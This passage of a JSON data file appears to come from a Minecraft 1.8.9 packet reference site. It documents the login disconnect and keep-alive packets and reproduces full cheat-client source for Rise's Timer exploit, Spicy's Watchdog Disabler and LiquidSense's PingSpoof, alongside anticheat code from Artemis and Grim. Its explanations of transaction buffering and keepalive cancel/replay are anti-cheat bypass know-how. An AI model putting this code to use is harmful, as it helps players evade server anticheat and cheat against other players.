      "p": "Three families in the 10 clients use this packet as a state-hygiene signal. Rise 5.99 Speed (line 1917) and Timer (line 81) reset their balance accumulators on S00PacketDisconnect so the MMC timer-balance state starts clean on the next join attempt. Spicy Disabler clears its C0FPacketConfirmTransaction buffer on the packet so stale transactions are never flushed into a fresh connection. LiquidSense Dev's PingSpoof imports S00PacketDisconnect but never references it again: its buffered keepalive/transaction map is exactly the structure that needs flushing on kick, so the disconnect flush was planned and left unwired. No true AutoReconnect module hooks it in this corpus: the auto-rejoin features of these clients key off the play-state disconnect path or onDisconnect, not the login kick, which is why the packet sees no reconnect logic."
     },
     {
      "h": "Exploit surface",
      "p": "Cancelling the packet would suppress the kick screen, but the channel close is driven by the server's own side, so the client gains nothing. The useful behavior is the reverse: treat the packet as a reliable 'connection died' notification. Clearing buffered transactions on disconnect matters because a stale C0FPacketConfirmTransaction replayed after relog desyncs the new window/uid sequence and can trip transaction-based anti-cheats. Timer's balance reset is defensive in the same spirit: a leftover negative balance would gate timerSpeed to 1 on the next join for no reason."
     }
    ],
    "overview": "The LOGIN-state kick carrying the JSON reason. No module cancels it, because the server closes the channel anyway; Rise 5.99 Speed/Timer and Spicy's Disabler instead use it as a reliable connection-death signal to reset timer balance and flush buffered transactions before the next join; LiquidSense Dev's PingSpoof carries only a dead import of it.",
    "server_handling": "Sent by NetHandlerHandshakeTCP for protocol mismatch (lines 35/39), by NetHandlerLoginServer for banned/full/whitelist and auth failures (line 79), and by plugins during login. The server closes the connection after sending; the client's handleDisconnect closes the channel with the reason, showing GuiDisconnected.",
    "protocol_notes": "LOGIN state, id 0x00, one IChatComponent serialized as a JSON string with a VarInt length prefix. Clientbound only. Distinguished from the PLAY-state S40PacketDisconnect by connection state; the two share a name but are different classes. Because it arrives before the world exists, module event buses that only fire post-join never see it, which is why only receive-side state cleanup hooks it.",
    "anticheat_landscape": "Not an anti-cheat surface: the packet is server-initiated and carries no client-controlled data. Its relevance to anti-cheats is indirect, in what clients do in response: flushing buffered C0F transactions on disconnect keeps the exploit state machine clean, and a client that fails to do so can carry stale transaction state into the next session, which transaction-tracking anti-cheats (Verus-style) would flag.",
    "modules": [
     {
      "name": "Speed / Timer (balance reset)",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Reset the timer-balance accumulator when the server kills a login, so the MMC timer exploit restarts from zero on the next join attempt.",
      "how_it_works": "A PacketReceiveEvent handler checks instanceof S00PacketDisconnect. Timer.java zeroes balance, sentMessage and lastPreMotion; Speed.java zeroes balance at line 1917. Timer's MMC mode otherwise maintains a balance of 50ms per game tick minus real elapsed time, and only allows timerSpeed above 1 when the balance drops below -1000, so a stale balance would silently disable the exploit after a failed join.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Timer.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.other.WorldChangedEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.event.impl.render.Render2DEvent;\nimport dev.rise.font.CustomFont;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport net.minecraft.client.gui.ScaledResolution;\nimport net.minecraft.network.login.server.S00PacketDisconnect;\n\nimport java.awt.*;\n\n@ModuleInfo(name = \"Timer\", description = \"Changes the game tick speed\", category = Category.OTHER)\npublic final class Timer extends Module {\n\n    private final NumberSetting timerSpeed = new NumberSetting(\"Timer Speed\", this, 1.0, 0.1, 10.0, 0.1);\n    private final ModeSetting mode = new ModeSetting(\"Mode\", this, \"Vanilla\", \"Vanilla\", \"MMC\");\n    private final BooleanSetting disableOnWorldChange = new BooleanSetting(\"Disable on World Change\", this, false);\n\n    private long balance;\n    private boolean sentMessage;\n    private long lastPreMotion;\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mode.is(\"Vanilla\"))\n            mc.timer.timerSpeed = (float) timerSpeed.getValue();\n        else {\n\n            final long lastPreMotion = this.lastPreMotion;\n            this.lastPreMotion = System.currentTimeMillis();\n\n            if (lastPreMotion != 0) {\n                final long difference = System.currentTimeMillis() - lastPreMotion;\n\n                balance += 50;\n                balance -= difference;\n            }\n\n            if (balance < -1000) {\n                //Allow timer :)\n\n                mc.timer.timerSpeed = (float) timerSpeed.getValue();\n\n\n            } else {\n                if (timerSpeed.getValue() > 1 && !sentMessage) {\n                    Rise.addChatMessage(\"Please set timer speed value below 1 to decrease balance\");\n                    sentMessage = true;\n\n                }\n                mc.timer.timerSpeed = 1;\n            }\n\n            if (timerSpeed.getValue() < 1) {\n                mc.timer.timerSpeed = (float) timerSpeed.getValue();\n            }\n        }\n    }\n\n    @Override\n    protected void onDisable() {\n        mc.timer.timerSpeed = 1.0F;\n        balance = 0;\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacket() instanceof S00PacketDisconnect) {\n            balance = 0;\n            sentMessage = false;\n            lastPreMotion = 0;\n        }\n    }\n    @Override\n    public void onWorldChanged(final WorldChangedEvent event) {\n        if (disableOnWorldChange.isEnabled()) {\n            this.toggleModule();\n        }\n    }\n\n    @Override\n    public void onRender2DEvent(final Render2DEvent event) {\n        final ScaledResolution sr = new ScaledResolution(mc);\n\n        if (mode.is(\"MMC\"))\n            CustomFont.drawCenteredString(\"Balance: \" + balance, sr.getScaledWidth() / 2d, sr.getScaledHeight() - 60, Color.WHITE.getRGB());\n    }\n}\n\n\n// NOTE (AI): S00PacketDisconnect only exists in the LOGIN state, so this hook fires exactly when a join attempt dies, before any world exists. The MMC balance accounting adds 50ms per tick and subtracts real elapsed time; zeroing it here guarantees a failed login cannot poison the next session's timer gating. Speed.java uses the identical balance = 0 reset in its own receive handler.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Timer.java",
      "vanilla_hook": "PacketReceiveEvent",
      "anti_cheat_notes": "None: the reset only changes client-side state and never touches the wire. The server sees a normal S00 then connection close.",
      "variations": "Speed.java (dev/rise/module/impl/movement/Speed.java) performs the same balance reset at line 1917 in its packet handler, alongside its S08PacketPlayerPosLook flag logic. Both are Rise 5.99; Rise 6.x drops the pattern in favor of its component-based timer."
     },
     {
      "name": "Disabler (buffer flush on kick)",
      "found_in": [
       "Spicy"
      ],
      "purpose": "Drop the buffered C0FPacketConfirmTransaction queue when the connection dies, so no stale transaction is replayed into the next session.",
      "how_it_works": "EventPacket pre handler checks instanceof S00PacketDisconnect and clears C0FPackets. The same queue is cleared on C00Handshake (new connection) and otherwise drained at 500-1250ms intervals via sendPacketNoEvent while the disabler is active. The module also flushes the remainder on disable.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/player/Disabler.java =====\npackage info.spicyclient.modules.player;\n\nimport java.util.ArrayList;\nimport java.util.Random;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.chatCommands.Command;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventSendPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.notifications.Color;\nimport info.spicyclient.notifications.NotificationManager;\nimport info.spicyclient.notifications.Type;\nimport info.spicyclient.util.MovementUtils;\nimport info.spicyclient.util.Timer;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.handshake.client.C00Handshake;\nimport net.minecraft.network.login.server.S00PacketDisconnect;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0CPacketInput;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\n\npublic class Disabler extends Module {\n\tpublic Disabler() {\n\t\tsuper(\"Disabler\", Keyboard.KEY_NONE, Category.PLAYER);\n\t}\n\t\n\tpublic static transient boolean watchdog = false;\n\tpublic static transient ArrayList<C0FPacketConfirmTransaction> C0FPackets = new ArrayList<C0FPacketConfirmTransaction>();\n\tpublic static transient Timer ping = new Timer();\n\t\n\t@Override\n\tpublic void onEnable() {\n\t\tNotificationManager.getNotificationManager().createNotification(\"Relog for the disabler to take effect\", \"\", true, 5000, Type.INFO, Color.PINK);\n\t\twatchdog = false;\n\t}\n\t\n\t@Override\n\tpublic void onDisable() {\n\t\twatchdog = false;\n\t\t\n\t\tfor (C0FPacketConfirmTransaction p : C0FPackets) {\n\t\t\t\n\t\t\tmc.getNetHandler().getNetworkManager().sendPacketNoEvent(p);\n\t\t\t\n\t\t}\n\t\t\n\t\tC0FPackets.clear();\n\t\t\n\t}\n\t\n\t@Override\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventUpdate && e.isPre()) {\n\t\t\t\n\t\t\tthis.additionalInformation = \"Hypixel\";\n\t\t\t\n            PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n            playerCapabilities.isFlying = true;\n            playerCapabilities.allowFlying = true;\n            //playerCapabilities.setFlySpeed((float) ((Math.random() * (9.0 - 0.1)) + 0.1));\n            playerCapabilities.setFlySpeed((float) ((Math.random() * (9.0 - 0.1)) + 0.1));\n            playerCapabilities.isCreativeMode = true;\n            mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C13PacketPlayerAbilities(playerCapabilities));\n            \n            // Added this\n            if (SpicyClient.config.fly.isEnabled()) {\n            \tmc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C13PacketPlayerAbilities(playerCapabilities));\n            }\n            \n            if (ping.hasTimeElapsed(500 + (new Random()).nextInt(750), true) && C0FPackets.size() > 0) {\n            \tmc.getNetHandler().getNetworkManager().sendPacketNoEvent(C0FPackets.get(0));\n            \tC0FPackets.remove(0);\n            }\n            \n\t\t}\n\t\t\n\t\tif (e instanceof EventPacket && e.isPre()) {\n\t\t\t\n\t\t\tif (((EventPacket)e).packet instanceof S00PacketDisconnect) {\n\t\t\t\tC0FPackets.clear();\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t\tif (e instanceof EventSendPacket && e.isPre()) {\n\t\t\t\n\t\t\tEventSendPacket event = (EventSendPacket) e;\n\t\t\t\n\t\t\tif (event.packet instanceof C00Handshake) {\n\t\t\t\tC0FPackets.clear();\n\t\t\t}\n\t\t\t\n            if (event.packet instanceof C0FPacketConfirmTransaction) {\n            \t\n                C0FPacketConfirmTransaction packetConfirmTransaction = (C0FPacketConfirmTransaction)event.packet;\n                \n                //mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C0FPacketConfirmTransaction(2147483647, packetConfirmTransaction.getUid(), false));\n                //mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C0FPacketConfirmTransaction(1147483647, packetConfirmTransaction.getUid(), false));\n                \n                \n                //packetConfirmTransaction.setAccepted(new Random().nextBoolean());\n                //packetConfirmTransaction.setWindowId(Integer.MIN_VALUE + new Random().nextInt(1000));\n                //packetConfirmTransaction.setUid(Short.MAX_VALUE);\n            \t//mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C0FPacketConfirmTransaction(Integer.MIN_VALUE, Short.MAX_VALUE, true));\n                \n                C0FPackets.add(packetConfirmTransaction);\n                e.setCanceled(true);\n            }\n\n            if (event.packet instanceof C00PacketKeepAlive) {\n            \t\n            \t//mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C00PacketKeepAlive(-2147483648 + (new Random()).nextInt(100)));\n                //e.setCanceled(true);\n                \n            }\n            \n\t\t\tif (event.packet instanceof C0CPacketInput) {\n\t\t\t\te.setCanceled(true);\n\t\t\t}\n            \n\t\t}\n\t\t\n\t}\n\t\n}\n\n\n// NOTE (AI): The receive-side hook clears the C0F buffer the moment the server drops the handshake; the buffer is otherwise drained one packet every 500-1250ms via sendPacketNoEvent. Keeping stale transactions out of the next connection preserves the window/uid sequence the Hypixel Watchdog bypass depends on. The keepalive branch next to it is commented out, showing the mode was tuned for transaction-based disabling only.",
      "code_source": "Spicy, info/spicyclient/modules/player/Disabler.java",
      "vanilla_hook": "EventPacket (receive side)",
      "anti_cheat_notes": "Replaying a buffered C0F after relog would desync the fresh connection's transaction sequence and trip transaction checks; the flush-on-disconnect is what keeps the exploit state machine consistent across joins.",
      "variations": "No other client in the corpus clears state on S00PacketDisconnect. Tenacity 6.0's AdvancedDisablerModule and Sigma's Disabler do not reference this packet in their mined files."
     },
     {
      "name": "PingSpoof (import-only)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Import-only reference: LiquidSense Dev's PingSpoof imports S00PacketDisconnect but never constructs or reads it in the shipped body, so the touchpoint is dead code from a planned disconnect flush.",
      "how_it_works": "The live logic cancels C0FPacketConfirmTransaction and C00PacketKeepAlive on PacketEvent and re-sends them from onUpdate after a random delay in [minDelay, maxDelay] ms. The S00PacketDisconnect import at line 18 has no call site; the buffered keepalive/transaction map is exactly the structure that needs clearing on kick, so a Spicy-style flush was evidently planned and left unwired.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/PingSpoof.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.exploit;\n\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Fly;\nimport net.ccbluex.liquidbounce.utils.misc.RandomUtils;\nimport net.ccbluex.liquidbounce.utils.timer.TimeUtils;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.login.server.S00PacketDisconnect;\nimport net.minecraft.network.play.client.C00PacketKeepAlive;\nimport net.minecraft.network.play.client.C0CPacketInput;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\nimport net.minecraft.network.play.server.S27PacketExplosion;\n\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\n\n@ModuleInfo(name = \"PingSpoof\", description = \"Spoofs your ping to a given value.\", category = ModuleCategory.EXPLOIT)\npublic class PingSpoof extends Module {\n\tprivate final IntegerValue maxDelayValue = new IntegerValue(\"MaxDelay\", 1000, 0, 5000) {\n\t\t@Override\n\t\tprotected void onChanged(final Integer oldValue, final Integer newValue) {\n\t\t\tfinal int minDelayValue = PingSpoof.this.minDelayValue.get();\n\n\t\t\tif(minDelayValue > newValue)\n\t\t\t\tset(minDelayValue);\n\t\t}\n\t};\n\n\tprivate final IntegerValue minDelayValue = new IntegerValue(\"MinDelay\", 500, 0, 5000) {\n\n\t\t@Override\n\t\tprotected void onChanged(final Integer oldValue, final Integer newValue) {\n\t\t\tfinal int maxDelayValue = PingSpoof.this.maxDelayValue.get();\n\n\t\t\tif(maxDelayValue < newValue)\n\t\t\t\tset(maxDelayValue);\n\t\t}\n\t};\n\n\tprivate final HashMap<Packet<?>, Long> packetsMap = new HashMap<>();\n\n\t@Override\n\tpublic void onDisable() {\n\t\tpacketsMap.clear();\n\t}\n\n\t@EventTarget\n\tpublic void onPacket(final PacketEvent event) {\n\t\tfinal Packet packet = event.getPacket();\n\n\t\tif ((packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive) && !(mc.thePlayer.isDead || mc.thePlayer.getHealth() <= 0) && !packetsMap.containsKey(packet)) {\n\n\t\t\tsynchronized(packetsMap) {\n\t\t\t\tpacketsMap.put(packet, System.currentTimeMillis() + TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get()));\n\t\t\t}\n\t\t\tevent.cancelEvent();\n\t\t}\n\t}\n\n\t@EventTarget(ignoreCondition = true)\n\tpublic void onUpdate(final UpdateEvent event) {\n\t\ttry {\n\t\t\tsynchronized(packetsMap) {\n\t\t\t\tfor(final Iterator<Map.Entry<Packet<?>, Long>> iterator = packetsMap.entrySet().iterator(); iterator.hasNext(); ) {\n\t\t\t\t\tfinal Map.Entry<Packet<?>, Long> entry = iterator.next();\n\n\t\t\t\t\tif(entry.getValue() < System.currentTimeMillis()) {\n\t\t\t\t\t\tmc.getNetHandler().addToSendQueue(entry.getKey());\n\t\t\t\t\t\titerator.remove();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}catch(final Throwable t) {\n\t\t\tt.printStackTrace();\n\t\t}\n\t}\n}\n\n\n// NOTE (AI): The import is dead in the shipped file: a full grep of the body shows S00PacketDisconnect only on line 18, next to the imports the module actually uses (C00PacketKeepAlive, C0FPacketConfirmTransaction), which is why the mined corpus caught it. The absence of a flush handler is the interesting fact for this packet page.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/PingSpoof.java",
      "vanilla_hook": "PacketEvent (cancel) and UpdateEvent (flush) via @EventTarget.",
      "anti_cheat_notes": "None from the import itself. The live delay logic is the standard ping-spoof surface; the missing disconnect flush means a buffered C0F can survive into the next connection if the player is kicked mid-spoof, the hazard Spicy's Disabler guards against by clearing its queue on S00.",
      "variations": "Rise 5.99's Speed/Timer reset timer balance on S00 and Spicy's Disabler clears its C0F buffer; LiquidSense Dev is the only client whose S00 reference is a bare import with no handler."
     }
    ],
    "general_hooks": "PacketReceiveEvent (Rise 5.99), EventPacket receive (Spicy) and PacketEvent/UpdateEvent (LiquidSense Dev PingSpoof). All fire before the vanilla handleDisconnect closes the channel; LiquidSense Dev's reference is a dead import with no handler.",
    "client_variations": "Rise 5.99 uses per-module onPacketReceive overrides; Spicy uses a central onEvent dispatcher with instanceof casts. LiquidSense Dev's PingSpoof imports the class without shipping a handler. None of the clients' auto-reconnect logic references this packet, so the hook is purely state cleanup.",
    "related": [
     "S02PacketLoginSuccess",
     "S40PacketDisconnect",
     "C00Handshake",
     "C00PacketLoginStart"
    ],
    "anticheat": {
     "overview": "The anticheat corpus treats the disconnect packet as a punishment transport rather than a check surface: Grim and BetterAnticheat construct WrapperPlayServerDisconnect packets to kick flagged players, Artemis wraps PacketPlayOutKickDisconnect in its packet library, and a long tail of Bukkit-era anticheats (Negativity, NoCheatPlus, ThotPatrol, Daedalus, AutoEye, AntiCheatReloaded, AntiCheatPlus) react to kicks through PlayerKickEvent instead of the wire packet. No anticheat inspects the login-state kick itself, because the server initiates it and it carries no client-controlled data.",
     "checks": [
      {
       "name": "Kick disconnect wrapper (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Wraps PacketPlayOutKickDisconnect in Artemis's packet library so the anticheat can read the kick packet on the wire instead of relying on Bukkit events.",
       "how_it_works": "GPacketPlayServerKickDisconnect is a GPacket annotated with @PacketLink to the PacketPlayServerKickDisconnect interface and implements ReadableBuffer. It is registered in PacketRepository at SERVER_PLAY + 39 and loaded by PacketExecutor and ProtocolGeneratorDirect, which keeps the play-state packet stream fully typed.",
       "detects": "No detection logic. The wrapper lets Artemis observe every kick the server sends; punishment decisions live elsewhere.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerKickDisconnect.java =====\npackage cc.ghast.packet.wrapper.packet.play.server;\n\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport ac.artemis.packet.spigot.protocol.PacketLink;\nimport ac.artemis.packet.wrapper.server.PacketPlayServerKickDisconnect;\nimport cc.ghast.packet.buffer.ProtocolByteBuf;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.ReadableBuffer;\n\nimport java.util.UUID;\n\n@PacketLink(PacketPlayServerKickDisconnect.class)\npublic class GPacketPlayServerKickDisconnect extends GPacket implements PacketPlayServerKickDisconnect, ReadableBuffer {\n    public GPacketPlayServerKickDisconnect(UUID player, ProtocolVersion version) {\n        super(\"PacketPlayOutKickDisconnect\", player, version);\n    }\n\n    @Override\n    public void read(ProtocolByteBuf byteBuf) {\n\n    }\n}\n\n// NOTE (AI): This is the play-state kick wrapper (PacketPlayOutKickDisconnect). The login-state S00PacketDisconnect is a different class; Artemis registers the login variant as PacketLoginOutDisconnect at SERVER_LOGIN + 1 without a wrapper file.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerKickDisconnect.java",
       "variations": "Grim's PacketPluginMessage and BetterAnticheat's PunishmentManager build WrapperPlayServerDisconnect packets directly to perform kicks; Intave's cloud protocol sends a ClientboundDisconnect message instead of a Minecraft packet."
      },
      {
       "name": "Proxy-detection disconnect (PacketPluginMessage)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Kicks players who route through a ViaVersion proxy, using the disconnect packet as the punishment transport.",
       "how_it_works": "Watches the PLUGIN_MESSAGE channel for vv:proxy_details. When a player reports proxy details, Grim logs a warning, and if KICK_ON_VIA_PROXY is enabled it sends a WrapperPlayServerDisconnect with the configured disconnect message and then closes the connection. The disconnect packet is the server-side mechanism, not the target.",
       "detects": "Proxy and ViaVersion-on-proxy setups that are incompatible with Grim's simulation, detected through the client's own plugin-message traffic.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPluginMessage.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.utils.anticheat.LogUtil;\nimport ac.grim.grimac.utils.anticheat.MessageUtil;\nimport ac.grim.grimac.utils.common.arguments.CommonGrimArguments;\nimport ac.grim.grimac.utils.viaversion.ViaVersionUtil;\nimport com.github.retrooper.packetevents.event.PacketListenerAbstract;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.User;\nimport com.github.retrooper.packetevents.wrapper.configuration.client.WrapperConfigClientPluginMessage;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPluginMessage;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDisconnect;\nimport org.jetbrains.annotations.NotNull;\n\npublic class PacketPluginMessage extends PacketListenerAbstract {\n\n    public void onPacketReceive(@NotNull PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.PLUGIN_MESSAGE) {\n            WrapperPlayClientPluginMessage packet = new WrapperPlayClientPluginMessage(event);\n            checkChannel(event.getUser(), packet.getChannelName());\n        } else if (event.getPacketType() == PacketType.Configuration.Client.PLUGIN_MESSAGE) {\n            WrapperConfigClientPluginMessage packet = new WrapperConfigClientPluginMessage(event);\n            checkChannel(event.getUser(), packet.getChannelName());\n        }\n    }\n\n    private void checkChannel(User user, String channelName) {\n        if (!\"vv:proxy_details\".equals(channelName)) return;\n        final boolean usingProxy = ProxyAlertMessenger.isUsingProxy();\n        // warn if they are using a proxy\n        if (usingProxy) {\n            LogUtil.warn(\n                    user.getName() + \" seems to have connected through a proxy running ViaVersion. \"\n                            + \"Having ViaVersion installed on the proxy is incompatible with GrimAC and causes many issues. \"\n                            + \"Please remove ViaVersion from your proxy server and install it on your backend servers instead.\"\n            );\n        }\n        // kick if they do not have a proxy configured OR they have ViaVersion installed on the backend\n        if (CommonGrimArguments.KICK_ON_VIA_PROXY.value() && (!usingProxy || ViaVersionUtil.isAvailable)) {\n\n            LogUtil.warn(user.getName() + \" is being disconnected for sending ViaVersion proxy data.\");\n\n            try {\n                WrapperPlayServerDisconnect disconnect = new WrapperPlayServerDisconnect(\n                        MessageUtil.miniMessage(GrimAPI.INSTANCE.getConfigManager().getDisconnectPacketError())\n                );\n                user.sendPacket(disconnect);\n            } catch (Exception e) {\n                LogUtil.warn(\"Failed to send disconnect packet to kick \" + user.getName() + \"!\");\n            }\n            user.closeConnection();\n        }\n    }\n\n}\n\n// NOTE (AI): The WrapperPlayServerDisconnect here is the play-state kick packet. Grim also sends this wrapper from GrimPlayer.disconnect and LatencyUtils for transaction errors, which is the family of disconnect usage the corpus documents.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPluginMessage.java",
       "variations": "BetterAnticheat's PunishmentManager sends WrapperPlayServerDisconnect for command-driven punishments and its ConfirmationTracker for timeouts; Shard's ShardPlayer builds the same wrapper for its admin disconnect command. All of them use the packet as the kick mechanism."
      }
     ]
    }
   },
   "wiki_notes": [
    "LOGIN state id 0x00 with a single JSON chat field; client closes channel and shows GuiDisconnected after handling.",
    "Distinct from PLAY-state S40 disconnect; modules use it only as a connection-death signal to flush C0F buffers and timer state.",
    "MCP 1.8.9 S00PacketDisconnect implements Packet<INetHandlerLoginClient> dispatching to INetHandlerLoginClient.handleDisconnect; wire serde is readPacketData/writePacketData via readChatComponent.",
    "1.8.9 callers: NetHandlerHandshakeTCP.processHandshake sends new S00PacketDisconnect (line 38) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/server/network/NetHandlerHandshakeTCP.java"
   ],
   "seo_desc": "S00PacketDisconnect (0x00): clientbound login disconnect in Minecraft 1.8.9 (protocol 47), JSON chat reason, fields, MCP source, ban/version-kick flows.",
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S00PacketDisconnect/",
   "mcp_path": "net/minecraft/network/login/server/S00PacketDisconnect.java",
   "group": "login-client",
   "logic_classes": [
    "NetHandlerLoginServer"
   ]
  },
  {
   "id": "S00PacketKeepAlive",
   "hex": "0x00",
   "dec": 0,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Keep Alive (Request)",
   "desc": "Server sends a keep-alive ID that the client must echo back in C00PacketKeepAlive.",
   "tags": [
    "connection",
    "player"
   ],
   "fields": [
    {
     "name": "id",
     "type": "VarInt",
     "desc": "Random keep-alive ID to echo back"
    }
   ],
   "encoding": [
    [
     "Keep Alive ID",
     "int",
     "Random ID"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleKeepAlive()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S00PacketKeepAlive is the clientbound half of the play-state liveness probe. NetHandlerPlayServer sends it roughly once per second from its update loop with a server-chosen int key (field_147378_h), and the vanilla client echoes it back as C00PacketKeepAlive with the same key. NetHandlerPlayServer.processKeepAlive compares the echoed key and folds the round-trip into the player's ping EMA: ping = (ping * 3 + delta) / 4. Because it is the only timing-only packet in the play state, it is the reference clock that ping spoofers, disablers and timing-based velocity exploits all anchor on."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleKeepAlive echoes immediately: addToSendQueue(new C00PacketKeepAlive(packetIn.func_149134_c())). Server side, processKeepAlive is a pure timing check: a matching key updates the ping EMA, a wrong key is silently ignored. There is no per-connection timeout in the vanilla 1.8.9 server for a missing echo; timeouts are enforced by the network layer read timeout or by anti-cheat plugins. That asymmetry, an immediate client echo versus a server that never punishes a missing one, is what every keepalive-timing exploit depends on."
     },
     {
      "h": "Why clients touch it",
      "p": "Four distinct uses in the 8 clients. (1) Debugger in Rise 5.99, 6.1.30 and 6.2.4 prints incoming keepalive ids to chat so the user can watch server cadence while tuning other modules. (2) Rise 6.2.4 WatchdogVelocity and WatchdogPredictionVelocity cancel the keepalive while a velocity spoof is armed, silencing the server's timing reference during the spoof window. (3) Sigma 4.11 Disabler Erisium mode captures the key on receive and replays a stale C00 every 1500ms, freezing the measured ping. (4) Rise 6.x NetworkAPI registers the class so JavaScript scripts can hook its receive. Note the corpus has no PingSpoof hit for S00: the spoofers in these clients intercept the C00 echo side instead."
     },
     {
      "h": "Exploit surface",
      "p": "Because the vanilla echo is immediate, any delay, cancellation or replay shows up as a ping shift or a stalled keepalive stream. The Watchdog velocity modules cancel S00 while holding S12/S32 packets so the server cannot correlate a latency spike with the velocity cancel; WatchdogPredictionVelocity re-injects the buffered keepalive on the strafe trigger to restore sequencing. Sigma's Erisium mode cancels C00 echoes and re-sends the last captured key on a timer, which keeps the server's key comparison failing silently so the ping EMA never updates. The trade-off is structural: cancellation is invisible to the packet stream but leaves the connection dead on servers that do track keepalive gaps."
     }
    ],
    "overview": "The clientbound keepalive, echoed instantly by vanilla and used by clients as the timing reference for ping, disabler and velocity-spoof logic. Corpus hits: Debugger (Rise 5.99/6.x), WatchdogVelocity and WatchdogPredictionVelocity (Rise 6.2.4), Sigma's Erisium disabler mode, and the Rise 6.x script NetworkAPI registry.",
    "server_handling": "NetHandlerPlayServer sends S00PacketKeepAlive(field_147378_h) roughly every second from its tick loop. processKeepAlive: if the echoed key matches field_147378_h, ping = (ping * 3 + (now - lastPingTime)) / 4; wrong or missing keys are silently dropped with no penalty. There is no vanilla timeout for a dead keepalive; connection liveness is the network layer's job.",
